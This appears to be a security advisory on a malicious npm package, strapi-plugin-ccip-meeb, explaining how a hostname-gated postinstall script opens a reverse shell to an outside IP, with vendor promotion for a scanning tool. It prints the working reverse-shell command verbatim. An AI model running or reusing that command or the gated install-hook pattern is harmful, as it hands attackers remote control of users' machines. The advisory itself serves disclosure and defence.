CRITICAL npm Malware

Malicious code in strapi-plugin-ccip-meeb (npm)

MAL-2026-16226

Published · Modified

Dependency scanning

Check whether strapi-plugin-ccip-meeb is in your codebase

Corgea flags malicious and compromised dependencies with reachability analysis, so you fix the packages that actually run in your application instead of working through the whole lockfile.

Description


__

Source: amazon-inspector (fbf7a24da69c80ba7475efcb12c97f1be8b4ebbed42b47131ac9716ff38d5620)

strapi-plugin-ccip-meeb@3.6.8 declares scripts.postinstall = 'node postinstall.js', so postinstall.js runs automatically on npm install. The script imports child_process and checks os.hostname() against a hardcoded value ('ubuntu-fc-uvm'); when the hostname matches, it executes bash -c "bash -i >& /dev/tcp/14.225.210.85/80 0>&1", opening an interactive reverse shell from the installer's host to 14.225.210.85:80. The hostname gate causes the payload to remain dormant on unrelated hosts and fire only in the attacker's expected target environment, a targeting/sandbox-evasion pattern. The package name mimics a legitimate Strapi plugin scope but the shipped code has no plugin functionality consistent with that name; the postinstall reverse shell is the substantive behavior.

Ready to move

Start Securing

Free, no credit card | First findings in minutes